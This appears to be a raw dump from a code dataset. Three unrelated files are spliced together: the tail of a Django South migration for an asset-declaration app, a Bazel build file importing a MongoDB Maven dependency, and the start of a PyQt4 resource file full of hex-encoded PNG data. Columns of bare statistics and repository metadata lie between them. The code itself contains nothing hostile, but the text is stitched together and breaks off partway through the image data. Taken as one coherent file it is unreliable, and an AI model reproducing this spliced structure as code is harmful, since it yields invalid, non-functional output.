'fiscal_value': ('django.db.models.fields.DecimalField', [], {'max_digits': '10', 'decimal_places': '2'}),
u'property_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['ddjjapp.Property']", 'unique': 'True', 'primary_key': 'True'})
},
u'ddjjapp.income': {
'Meta': {'object_name': 'Income'},
'affidavit': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.Affidavit']"}),
'ammount_year': ('django.db.models.fields.DecimalField', [], {'max_digits': '12', 'decimal_places': '2'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'notes': ('django.db.models.fields.TextField', [], {})
},
u'ddjjapp.jurisdiction': {
'Meta': {'object_name': 'Jurisdiction'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'parent': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.Jurisdiction']"})
},
u'ddjjapp.office': {
'Meta': {'object_name': 'Office'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'jurisdiction': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.Jurisdiction']"}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'parent': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.Office']"})
},
u'ddjjapp.otheractivities': {
'Meta': {'object_name': 'OtherActivities'},
'activity': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'company': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'finish_date': ('django.db.models.fields.DateField', [], {}),
'hours_per_week': ('django.db.models.fields.DecimalField', [], {'max_digits': '3', 'decimal_places': '2'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'init_date': ('django.db.models.fields.DateField', [], {}),
'leave': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'position': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'state_related': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
u'ddjjapp.paperproperty': {
'Meta': {'object_name': 'PaperProperty', '_ormbases': [u'ddjjapp.Property']},
'current_value': ('django.db.models.fields.DecimalField', [], {'max_digits': '10', 'decimal_places': '2'}),
u'property_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['ddjjapp.Property']", 'unique': 'True', 'primary_key': 'True'})
},
u'ddjjapp.person': {
'Meta': {'object_name': 'Person'},
'birth_date': ('django.db.models.fields.DateField', [], {}),
'gender': ('django.db.models.fields.CharField', [], {'default': "'M'", 'max_length': '1'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'id_number': ('django.db.models.fields.CharField', [], {'max_length': '15'}),
'id_type': ('django.db.models.fields.CharField', [], {'default': "'D'", 'max_length': '1'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'notes': ('django.db.models.fields.TextField', [], {})
},
u'ddjjapp.personalproperty': {
'Meta': {'object_name': 'PersonalProperty', '_ormbases': [u'ddjjapp.FiscalProperty']},
'description': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'fabrication_year': ('django.db.models.fields.DateField', [], {}),
u'fiscalproperty_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['ddjjapp.FiscalProperty']", 'unique': 'True', 'primary_key': 'True'}),
'property_type': ('django.db.models.fields.CharField', [], {'default': "'C'", 'max_length': '1'})
},
u'ddjjapp.position': {
'Meta': {'object_name': 'Position'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'notes': ('django.db.models.fields.TextField', [], {}),
'office': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.Office']"})
},
u'ddjjapp.previousjob': {
'Meta': {'object_name': 'PreviousJob'},
'begin_date': ('django.db.models.fields.DateField', [], {}),
'company': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'company_activity': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'end_date': ('django.db.models.fields.DateField', [], {}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'position': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'was_state_related': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
u'ddjjapp.property': {
'Meta': {'object_name': 'Property'},
'affidavit': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['ddjjapp.Affidavit']"}),
'bought_value': ('django.db.models.fields.DecimalField', [], {'max_digits': '10', 'decimal_places': '2'}),
'buy_year': ('django.db.models.fields.DateField', [], {}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'money_origin': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'percentage': ('django.db.models.fields.DecimalField', [], {'max_digits': '3', 'decimal_places': '2'}),
'polymorphic_ctype': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "u'polymorphic_ddjjapp.property_set'", 'null': 'True', 'to': u"orm['contenttypes.ContentType']"})
},
u'ddjjapp.realstate': {
'Meta': {'object_name': 'RealState', '_ormbases': [u'ddjjapp.FiscalProperty']},
'city': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'country': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'fiscalproperty_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['ddjjapp.FiscalProperty']", 'unique': 'True', 'primary_key': 'True'}),
'improvements': ('django.db.models.fields.DecimalField', [], {'max_digits': '10', 'decimal_places': '2'}),
'neighborhood': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'property_type': ('django.db.models.fields.CharField', [], {'default': "'H'", 'max_length': '1'}),
'size': ('django.db.models.fields.DecimalField', [], {'max_digits': '10', 'decimal_places': '2'}),
'state': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'unidad': ('django.db.models.fields.CharField', [], {'max_length': '10'})
}
}
complete_apps = ['ddjjapp']
| 64.127021
| 198
| 0.605863
| 3,071
| 27,767
| 5.340931
| 0.058938
| 0.0995
| 0.173272
| 0.247531
| 0.78588
| 0.723631
| 0.705402
| 0.688087
| 0.646689
| 0.612852
| 0
| 0.010304
| 0.189109
| 27,767
| 433
| 199
| 64.127021
| 0.718156
| 0.040588
| 0
| 0.291429
| 0
| 0
| 0.513853
| 0.322544
| 0
| 0
| 0
| 0
| 0
| 1
| 0.005714
| false
| 0
| 0.011429
| 0
| 0.025714
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
683c9185342d9da656f6961a7542d04ecfebc7fd
| 561
|
bzl
|
Python
|
third_party/org_mongodb.bzl
|
or-shachar/exodus
|
b28bf8f4c2330de47b8aac21c2bf3c40fda7cbdc
|
[
"MIT"
] | null | null | null |
third_party/org_mongodb.bzl
|
or-shachar/exodus
|
b28bf8f4c2330de47b8aac21c2bf3c40fda7cbdc
|
[
"MIT"
] | null | null | null |
third_party/org_mongodb.bzl
|
or-shachar/exodus
|
b28bf8f4c2330de47b8aac21c2bf3c40fda7cbdc
|
[
"MIT"
] | null | null | null |
load("//:import_external.bzl", import_external = "safe_wix_scala_maven_import_external")
def dependencies():
import_external(
name = "org_mongodb_mongodb_driver_reactivestreams",
artifact = "org.mongodb:mongodb-driver-reactivestreams:1.11.0",
jar_sha256 = "ae3d5eb3c51a0c286f43fe7ab0c52e3e0b385766f1b4dd82e06df1e617770764",
srcjar_sha256 = "f3eb497f44ffc040d048c205d813c84846a3fc550a656110b1888a38797af77b",
deps = [
"@org_mongodb_mongodb_driver_async",
"@org_reactivestreams_reactive_streams"
],
)
| 37.4
| 89
| 0.752228
| 47
| 561
| 8.531915
| 0.595745
| 0.139651
| 0.127182
| 0.17207
| 0.189526
| 0
| 0
| 0
| 0
| 0
| 0
| 0.196617
| 0.156863
| 561
| 14
| 90
| 40.071429
| 0.651163
| 0
| 0
| 0
| 0
| 0
| 0.618538
| 0.618538
| 0
| 0
| 0
| 0
| 0
| 1
| 0.083333
| true
| 0
| 0.166667
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
68433b6a0920db54797bb85810cfdc63e8d809e1
| 38,293
|
py
|
Python
|
bnm_rc.py
|
IvanGanin/bnm
|
e057ae6bedf7dd4dea1ec830a2420495c6cfdb8a
|
[
"BSD-2-Clause"
] | null | null | null |
bnm_rc.py
|
IvanGanin/bnm
|
e057ae6bedf7dd4dea1ec830a2420495c6cfdb8a
|
[
"BSD-2-Clause"
] | null | null | null |
bnm_rc.py
|
IvanGanin/bnm
|
e057ae6bedf7dd4dea1ec830a2420495c6cfdb8a
|
[
"BSD-2-Clause"
] | null | null | null |
# Resource object code
#
# Created: ?? ??? 16 14:50:02 2008
# by: The Resource Compiler for PyQt (Qt v4.2.0)
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore
qt_resource_data = "\
\x00\x00\x05\x71\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x20\x00\x00\x00\x20\x08\x06\x00\x00\x00\x73\x7a\x7a\xf4\
\x00\x00\x00\x04\x67\x41\x4d\x41\x00\x00\xaf\xc8\x37\x05\x8a\xe9\
\x00\x00\x00\x19\x74\x45\x58\x74\x53\x6f\x66\x74\x77\x61\x72\x65\
\x00\x41\x64\x6f\x62\x65\x20\x49\x6d\x61\x67\x65\x52\x65\x61\x64\
\x79\x71\xc9\x65\x3c\x00\x00\x05\x03\x49\x44\x41\x54\x78\xda\x62\
\xfc\xff\xff\x3f\xc3\x40\x02\x80\x00\x62\x62\x18\x60\x00\x10\x40\
\x03\xee\x00\x80\x00\x1a\x70\x07\x00\x04\x10\x0b\x23\x23\x23\xdd\
\x2d\x15\x5d\xcd\xe0\xc8\xcc\xc4\xd0\xc0\xc4\xcc\x60\x07\x10\x40\
\x4c\x2c\x0b\x19\x1c\xa1\x21\x41\x73\x97\xb0\x2e\x62\x70\xe4\x58\
\xc2\x70\xf0\xeb\x1f\x86\x7d\x9f\x7e\x31\xd8\x7d\x7a\xc8\x30\x0d\
\x20\x80\x18\x19\x16\x32\xfc\x67\xf8\xc9\xb0\x8c\x21\x8d\x21\x03\
\xa8\xe6\x1b\x10\xff\xa5\xba\xcd\x73\x81\x9e\x64\x64\x68\x60\x00\
\xfa\x18\x2e\x76\x85\xa1\x95\xa1\x9b\x61\x33\x40\x00\x31\x31\xfc\
\x62\x78\x04\xf4\x7f\x14\x43\x1f\xd0\x29\x0c\x0c\x7c\x40\xcc\x4c\
\x35\x8b\xa7\x32\x28\x32\xcc\x04\x7b\x71\x1f\x37\x0b\xb7\x1d\xc3\
\x6f\xa0\x18\x08\x9f\x01\x5a\xdd\xcd\xb0\x1d\xc8\x7a\x03\x10\x40\
\x4c\x40\x3f\x6f\x65\xf8\x03\x64\x72\x31\x04\x32\x74\x32\xcc\xa3\
\x8a\x23\x26\x02\x2d\x9e\x0a\xb4\x98\x99\xe1\x9e\x10\x8f\x50\x5c\
\x98\x59\x18\x83\x08\xa7\x08\x03\xd0\xb3\x5f\x18\x0e\x33\x34\x31\
\x4c\x66\xd8\x08\x54\xf5\x1c\x88\x5f\x02\x04\x10\xc8\x01\x87\x40\
\x0e\xb0\x33\x04\x86\x0e\x37\x43\x00\x43\x1b\x05\x8e\xe8\x05\x5a\
\x3c\x11\x62\x31\x3f\x0f\x7f\x9c\x8f\xbd\x0f\x43\x5a\x70\x1a\xc3\
\x91\xab\x47\x18\x1e\x3e\x7b\xf8\x95\x61\x2d\x43\x39\x50\x16\xe4\
\xf3\xa7\x20\xcb\x41\x51\x0e\x10\x40\xa0\x84\xc7\xca\xd0\xcf\xf0\
\xcb\xd6\xcd\x96\xe1\x2f\xe3\x5f\x86\x63\x3b\x8f\x31\x30\x7c\x66\
\xd8\xc0\x50\xc7\x90\x04\x94\xfb\x44\x54\x9a\xe8\x04\x5a\xcc\x0c\
\x8e\xe3\x38\x56\x76\x56\x06\x0d\x23\x0d\x06\x63\x73\x63\x86\x0f\
\xaf\x3f\x30\xec\xdb\xbc\x8f\xe1\xd3\xfb\x4f\x5f\x81\xe1\x5c\xc6\
\xb0\x9f\xe1\x2c\x50\xf5\x33\x50\xd0\x03\xf1\x4f\x20\xfe\x07\x10\
\x40\x10\x5f\xda\x33\x98\x7d\x67\xfa\xae\x2a\x65\x2b\xc5\xc0\xc6\
\xcb\xc6\xf0\xf6\xc1\x5b\x0d\x06\x4b\x06\x75\x86\x83\x0c\x3b\xa0\
\xb1\xf6\x1f\x87\xc5\x02\x0c\xae\x0c\x1d\xc0\x34\xb4\x9c\x99\x9d\
\x59\x5f\xc6\x54\x86\x41\xdb\x5b\x9b\x81\x57\x9e\x97\xe1\xf9\xab\
\xe7\x0c\x87\x56\x1e\x62\xf8\xfe\xfa\xfb\x3d\x86\x95\x0c\xa5\x0c\
\x27\x18\x2e\xa1\x59\x0e\x36\x13\x20\x80\x98\xc1\x0c\x1b\x06\x99\
\x9f\xdf\x7f\xba\x00\x2d\x65\xf8\x27\xf6\x8f\x81\x89\x97\x89\xe1\
\xfb\xfd\xef\x1a\x0c\xe6\x40\x47\x1c\xc6\xe2\x88\x56\xa0\xc5\xce\
\x0c\x95\x0c\xff\x18\x56\x30\xb2\x33\xda\xf3\x99\xf3\x31\x88\xfb\
\x89\x33\xb0\x28\xb2\x30\x7c\x66\xf9\xcc\xf0\xe6\xe5\x1b\x86\x9b\
\xcb\x6e\x32\xfc\x79\xff\xe7\x1e\xc3\x6c\x86\x12\x86\xdb\x40\x08\
\xb1\xfc\x2d\x03\x28\x25\x20\x99\x05\x10\x40\x90\xbc\x9f\x03\xb4\
\x48\x9c\xe1\x06\x4b\x2c\x0b\x03\xa3\x3c\x44\xe8\xef\xc5\xbf\x0c\
\xff\x36\xff\x83\x44\x47\x17\x34\x3a\x1a\x19\x78\x81\x74\x21\x10\
\xe7\x33\x70\x32\xf0\x03\x1d\xc8\xc0\x62\x06\xd4\xc3\x81\x54\x84\
\x5c\x04\xba\x76\x33\xd0\xbd\x3f\x18\xee\x31\xcc\x07\x5a\xfe\x8c\
\xe1\x01\x34\xce\xdf\x03\xf1\x1f\xf4\xd0\x04\x08\x20\x98\x4e\x66\
\x86\x5a\x86\xfb\x40\x03\x65\x19\xdc\x18\x50\x0c\x63\xd8\x0c\xc4\
\x5f\x80\x8e\x60\x66\xb8\xc5\xc0\xc1\x90\x0e\xcc\xcf\xfc\x0c\xb6\
\x40\x31\xa0\xe5\x40\x3e\x2a\x80\xa9\x7f\xcb\xb0\x87\x61\x3d\xc3\
\x14\xa0\xe5\x0f\xa1\x3e\x7f\x0f\x0d\x45\x0c\x00\x10\x40\x88\x94\
\x6e\xc6\xa0\x0a\x74\x9f\x29\x83\x3e\x34\xd9\x81\xb0\x28\x10\x83\
\xfc\x7c\x8f\x41\x03\xe8\x00\x6b\x06\x1d\xa0\x95\x41\x40\xbe\x2a\
\xd4\xe9\x7f\x91\xf0\x79\x20\xde\x04\x8e\xe1\x3d\x0c\xd3\x81\x79\
\xe9\x33\xc3\x63\x68\x56\xfb\x80\xcb\x72\x10\x00\x08\x20\x16\x28\
\xfd\x9f\xe1\x3b\x30\x3b\x3e\x63\xc8\x64\x78\x0d\xe4\xf1\x23\xa9\
\xd0\x00\x62\x41\x20\x66\x07\x62\x01\xa8\xd8\x2f\x34\x53\xb6\x02\
\xf1\x65\x20\x7e\x07\xb4\x7c\x0e\xd0\x72\x48\x16\x7b\x4e\x4c\x2e\
\x02\x08\x20\xe4\xf2\x9f\x15\x18\xbb\xbf\x18\xbc\x80\x2c\x5d\x12\
\xf2\xfe\x56\x70\xb1\xca\xc0\x70\x07\x98\x99\x37\x83\x0b\x98\x57\
\x40\xfc\x82\xd8\x2c\x0c\x10\x40\xa8\x85\x8d\x21\x30\x22\xfe\x03\
\x03\x58\x15\x2d\x78\xb1\x61\x50\xad\xb1\x1d\xea\xf3\xdb\x40\xcb\
\xb7\x32\xac\x83\xfa\xfa\x05\x38\xd5\x10\x59\xa7\x00\x04\x10\x0b\
\x12\xfb\x1f\xd0\xff\x07\x81\x49\xd1\x13\x23\x88\xd1\x01\x28\x17\
\xaf\x02\xe2\xd7\xe0\xf4\xd1\xcf\xb0\x13\x6e\xf9\x4b\xa8\xd3\xfe\
\x11\x1b\x80\x00\x01\x84\x1a\x02\xca\xc0\x24\xc4\x04\xcc\x94\xc2\
\xd0\x74\x80\xcb\xe7\x2b\xc0\xd6\x7d\x65\x38\x09\x8c\xb4\x63\x0c\
\xfb\xa0\x96\xbf\x22\xd5\x72\x10\x00\x08\x20\xd4\x16\xd1\x1a\x60\
\x4c\xfe\x06\xa6\xde\x7b\xd0\x84\x86\x8e\x41\x65\xd8\x72\x70\xae\
\xfe\xca\x70\x0a\x58\xb4\x5e\x02\x17\xad\x4f\xa0\xc1\x4e\xb2\xe5\
\x20\x00\x10\x40\xe8\x4d\xb2\x7f\xc0\xe0\xdd\x02\xcc\xf1\x98\x96\
\x83\x72\xf3\x22\x20\x7e\x0c\xf4\xe9\x19\xa0\xe5\x57\x80\x24\xa4\
\x80\x01\xf9\xfc\x3b\x39\x96\x83\x00\x40\x00\xa1\x3b\xe0\x3f\x30\
\x04\x0e\x31\x7c\x44\x2a\x34\x7f\x41\x03\x78\x2d\x38\x5d\xdf\x63\
\xd8\x05\x6c\xb8\x5c\x03\xfa\x1f\x62\x39\x4a\xb9\x4e\x0e\x00\x08\
\x20\x6c\xcd\x30\x56\x86\x68\xa0\xb5\xa0\x92\x4e\x1b\x88\x1f\x01\
\xf1\x21\x70\xba\xbe\xc7\xb0\x17\x58\xb4\xbe\x03\x17\xad\xc8\xa5\
\x1b\x45\x1d\x0b\x80\x00\xc2\x5e\xe7\x6b\x01\xb3\x23\x0b\x30\x33\
\x82\x8c\x3f\x08\xc4\x5f\x81\x99\x6d\x1f\xb0\xf2\xc1\xb4\x9c\x62\
\x00\x10\x40\xd8\x9a\xe5\xff\x80\x7e\x3a\x08\x2e\x48\x8f\x81\x83\
\x7d\x0f\x30\xf8\x0b\x80\x96\xdf\x43\xaa\x54\xa8\x62\x39\x08\x00\
\x04\x10\xf6\x7e\xc1\x57\x60\xe5\xc3\x00\x0e\xf6\x1d\xc0\xd2\x0d\
\x56\xb4\x3e\xa1\xb6\xe5\x20\x00\x10\x40\x8c\x78\xa2\x46\x08\x88\
\xc5\xa0\x55\xe8\x2b\xa2\x5b\x47\x24\x02\x80\x00\x62\xc4\x23\xce\
\x0a\xad\x82\x40\xd9\xeb\x07\x4d\x9a\xeb\x40\x00\x10\x40\x8c\x03\
\xdd\x3b\x06\x08\xa0\x01\xef\x1b\x02\x04\x18\x00\x8f\x7b\x95\x11\
\xa5\x12\x2b\xb0\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82\
\
\x00\x00\x08\x01\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x20\x00\x00\x00\x20\x08\x06\x00\x00\x00\x73\x7a\x7a\xf4\
\x00\x00\x00\x06\x62\x4b\x47\x44\x00\xff\x00\xff\x00\xff\xa0\xbd\
\xa7\x93\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x12\x00\x00\
\x0b\x12\x01\xd2\xdd\x7e\xfc\x00\x00\x00\x07\x74\x49\x4d\x45\x07\
\xd3\x09\x01\x13\x09\x08\x2c\xab\xef\x67\x00\x00\x07\x8e\x49\x44\
\x41\x54\x78\xda\xad\x97\x5b\x6c\x14\xd7\x19\xc7\xff\x33\xb3\x73\
\xd9\xf1\xec\x7a\x6d\xef\x85\xf5\x05\x04\x24\xd8\x6e\x6a\x2e\x0d\
\x01\x29\xa4\x15\x25\xb4\x05\xda\x06\x45\x0a\x95\x5a\x55\x89\xd4\
\xbe\x44\xb4\x0f\x79\x4a\x5f\x22\x35\x6a\x9f\x5a\x29\x4f\x6d\xa3\
\x44\x55\x53\x92\x4a\xa8\x8d\xa2\xb4\x15\x52\x08\x15\x58\x50\xc7\
\x18\x83\xc1\xd0\x2c\x18\x5f\xd9\xf5\x0d\xb3\xf6\xee\x7a\x67\x77\
\xae\x67\xce\x39\x7d\x58\x30\x50\x01\x59\xd3\x1c\xe9\xd3\x99\x19\
\xcd\x99\xef\x77\xbe\xf3\xff\xce\x7c\x47\xc0\x97\xd0\x5e\x7b\xed\
\xb7\x21\x4d\x8b\xa4\x74\x3d\x92\x08\x87\xa3\x2d\xa2\x18\x5a\xe3\
\xba\x95\x1d\x9e\x47\xe7\x87\x86\x4e\xfd\xf9\x93\x4f\xfe\x94\x7f\
\xd8\xd8\xd0\xe3\x38\x7c\xe3\x8d\xdf\x85\x16\x17\x17\x52\xb1\x58\
\x22\xdd\xd1\xb1\xa9\x5b\xd7\x1b\xbf\xaa\xeb\xfa\x73\x21\x59\x4a\
\x84\x75\xb5\xc9\x68\x08\x1b\xa9\x35\x31\x6d\x61\x61\x39\xa0\x14\
\xb1\xcb\x97\x4f\xff\x6a\x7e\x7e\xd2\x59\x15\x40\x57\x57\x0f\x0e\
\x1c\x78\x49\x4d\x26\xdb\x92\xcd\x4d\xf1\x78\x2c\x96\x48\x32\xce\
\xd7\xaa\xaa\xbe\x4b\x51\xb5\x6d\x8a\xaa\x75\x29\x8a\xaa\xe8\xba\
\x82\x48\x44\x43\x63\xa3\x06\x45\x11\x11\x40\x40\x85\x02\x82\x28\
\x60\xc7\x3a\x23\x74\x2d\x93\xda\x13\x8f\x77\xbc\x33\x3f\x3f\x99\
\xab\x1b\xe0\xc5\x17\x7f\x1c\x7b\xe5\x95\x9f\x1f\x8a\x18\xd1\x2d\
\x92\xac\x3c\xcd\x98\x10\x97\x15\xb5\x59\xd1\xc2\x86\xa6\x6b\x8a\
\x2c\x4b\x50\x44\x11\x92\xc8\x11\x88\x1c\x16\xe3\x98\x59\x0e\x30\
\x6b\x8b\xb8\x70\x2b\x84\x6c\x49\x80\xc4\x81\x5f\xee\x16\x90\x88\
\x1b\x9a\xa6\x45\xb5\xba\x97\xe0\xe5\x97\x0f\xb7\x1c\x3e\xfc\xfa\
\xdb\xb1\x96\xe6\x1f\xd8\xbe\x02\x06\x09\x9c\x06\xe0\xe0\x60\x02\
\xb0\xe8\x07\xb0\x1c\x17\x79\x2e\x61\x8e\xc9\x98\x74\x55\x14\x1d\
\x09\x96\x03\x78\x1e\x40\x3d\x80\xf8\x40\xa5\x02\xfc\xf3\x1a\xc7\
\x81\x74\xb4\x21\x1e\x6f\x6d\xaa\x1b\x20\x14\x52\x52\x82\x10\x3c\
\x45\x45\x03\x84\x0b\x58\xbc\x39\x0b\x4f\x06\xac\x98\x81\x92\xa6\
\x21\x2f\x68\x28\x33\x1d\x55\x5f\x82\xeb\x03\x1e\x07\x04\x01\x08\
\x09\x00\x17\x01\x77\xe5\x4b\x0c\xd3\x79\x1f\x8d\x9b\xf5\xb0\x61\
\x34\xc4\xea\x06\xf0\x7d\xdf\x26\x84\x57\x01\x8e\xc0\x23\xa8\x2a\
\x80\xd0\xdd\x86\x65\x5f\x80\x49\x00\x3b\x00\x08\x07\x18\x07\x04\
\x0e\x80\x03\x9c\xd7\xc6\xf2\xdb\xf7\xe0\x00\x27\x04\xf3\x4b\x2e\
\x34\x3d\x1c\x8b\xc7\x53\x4f\x3c\x0c\x40\xfc\xdf\x07\x85\x42\x3e\
\x5f\xad\x3a\xff\x51\x44\x82\x50\x48\x02\x13\x25\xd8\x04\xf0\x28\
\xe0\x73\x80\x72\x80\xb1\x9a\x33\xce\xee\x37\xf0\x15\xff\xa0\xae\
\x0f\xd3\xa6\x10\x24\x59\x0b\x6b\x6a\x5b\xdd\x00\xc7\x8f\x7f\x64\
\x5f\xba\x74\xfe\x5f\xbe\xe3\x42\x51\x45\x70\xd3\xc3\xb2\xe5\xc1\
\x62\x80\x43\x01\x9f\x01\x94\x02\x2c\xa8\x81\xac\x18\xbf\x7b\x4d\
\x2c\x0f\xd4\xf1\x50\xa8\x72\x04\x82\x22\x1a\x46\xb4\xb3\x6e\x00\
\x00\xe8\xef\x3f\x39\x66\x9a\x36\x13\x40\xa1\x09\x12\x9c\x8a\x0f\
\x9b\x02\x2e\x03\x08\xad\x01\x50\x0a\xd0\x00\x60\xf4\xb6\x63\x5a\
\x83\x20\x0e\x81\x57\x75\x01\x0e\x54\x1c\x86\xaa\x2f\x42\xd7\x8d\
\x34\x00\xb9\x6e\x80\xb1\xb1\xcc\x78\xa9\x58\xcc\xb2\x20\x40\x2c\
\x62\x80\x55\x5c\x98\x0c\x70\x29\x40\x09\x10\x10\x20\x08\x6a\x00\
\x94\xd6\x9c\x07\x84\xc3\x31\x7d\x38\x45\x1b\x8c\x30\x70\x0e\xb8\
\x3e\x30\xba\xc8\xd1\xd1\xde\xb6\x4e\x55\x23\xd1\xba\x01\xc6\xc7\
\x33\x4e\xa9\xb8\x34\x10\x12\x29\xb4\xb0\x06\x85\x72\xf8\x14\x20\
\xe4\xae\xd1\x00\x08\x68\x0d\xc6\x73\x19\xac\x92\x07\xd7\xf4\xef\
\x5b\x16\xce\x80\x6c\x81\x21\xd6\xd4\xd8\xac\x28\x7a\xa4\x6e\x00\
\x00\x30\x2b\xd6\x3f\x3c\xdb\x5c\x0e\x87\x15\xb4\x70\x11\xae\x03\
\xf8\x1e\xe0\xfb\xb5\x3c\xf7\x3d\xc0\xae\x72\x94\x97\x08\xcc\x45\
\x1f\xbe\xc3\x56\x22\x72\xa7\x17\x01\x5c\x9f\x0f\x90\x5c\xd3\xa4\
\x18\x46\x32\xb1\x2a\x80\x99\x99\xe9\xd1\xfc\xad\xe2\x82\x14\x12\
\xd1\xc4\x28\x98\x45\x40\xfc\xda\x8c\x09\x01\x2a\xcb\x1c\x95\x12\
\x83\xe7\xf2\xbb\x9a\xa0\xf7\x2f\x0b\x67\x40\xa1\xc2\x11\x89\x19\
\x42\x24\xd2\xd8\xb4\x2a\x80\x81\xb3\x27\x6e\x15\x96\xcc\x79\x46\
\x7d\xc4\x14\x09\xe1\x92\x09\xc7\x03\x5c\x07\x28\x17\x01\xab\xc2\
\x41\x7c\xbe\xa2\x09\x7a\x8f\x26\xee\x80\x70\x0a\x14\x4d\x0a\x3d\
\xaa\xa3\xa3\x63\x7d\x12\x80\x50\x37\x40\x6e\x7a\xbc\x6c\x3b\xce\
\x04\xa7\x3e\x8c\x68\x03\xc2\x2e\x01\xf1\x00\xdb\x02\x1c\xfb\xb6\
\x10\xef\x15\x63\xc0\x6b\x76\x3b\x45\x83\xa0\x26\xc2\xe6\xb0\x00\
\x45\x16\x90\x4c\xa6\x12\x0f\xf2\xf7\x50\x80\xa9\xa9\xab\x5e\x26\
\x73\xe9\x98\x53\xb1\x79\xd8\x08\x23\x29\x4b\xf0\x6c\x86\x6a\x19\
\x20\x6e\x4d\x07\x81\x7f\xb7\xbf\x03\xe4\xb9\x80\xc8\x38\xb6\xb6\
\x89\xf8\xc5\x7e\x0d\x47\x5e\x8d\xc0\x59\xae\xa2\x58\x34\xdd\x07\
\x45\xe0\x91\xf5\xc0\xe0\xe0\xa7\xe7\xf7\xee\xfd\x6e\xa5\x31\xde\
\x1c\x4d\xc8\x02\x58\x35\x00\xf1\x95\x95\xb0\xb3\xa0\x96\x96\x34\
\x00\x5c\x4f\x80\xc4\x38\x76\x76\x70\xbc\xd0\xa3\xe0\xc0\x36\x0d\
\x32\xa3\x18\xe8\x9f\x70\x3f\x3d\xfe\xef\x73\x17\x2f\x9e\x3a\x01\
\x80\xae\x0a\x60\x78\xb8\x2f\x9f\xcd\x66\x47\x5b\xd7\xb5\x3f\x93\
\x56\x01\xd5\xf2\xe0\xbb\x4a\x2d\xec\x7e\x4d\x8c\x42\xc0\x90\xd0\
\x28\xbe\xf1\x24\xc3\xa1\xad\x22\x36\x24\x54\x14\x0a\xd5\xe0\xf8\
\xc7\x97\x6e\x9c\x3b\x97\xc9\xf4\xf6\xbe\xff\x87\xd9\xd9\x8b\x83\
\x9c\xd3\xea\xaa\x2b\xa2\x20\xf0\x51\x2e\x97\x47\xad\xaa\xfb\x4c\
\xac\x41\x41\x3c\xb0\x31\xe9\x47\x6a\xb3\xf6\x39\x52\x2a\xc1\x0b\
\x5f\x21\xd8\xdb\xa5\x20\x15\x0d\xa1\xb8\x54\xc1\x7b\xef\xf5\x4e\
\x8c\x8d\x5d\xef\xbd\x3c\xdc\x7f\x24\x9b\x1d\x1e\x2f\x97\x67\x0a\
\xb7\x7f\x0f\x8f\x57\x92\xd1\x80\x1f\xb3\xcc\xf2\xc1\xf6\x0d\x6b\
\x23\xcf\xb5\x2c\x23\x6b\xdb\x48\xc4\x44\xfc\xb0\xdb\xc3\xe6\x76\
\x19\xc4\xa5\xc8\x2f\x15\xf0\xfe\x47\x57\x96\x7a\x4f\xfe\xed\xdd\
\xeb\x23\x67\xfe\x68\xd9\xa5\x59\xcf\x33\x69\x3d\xe5\x9d\xf4\x45\
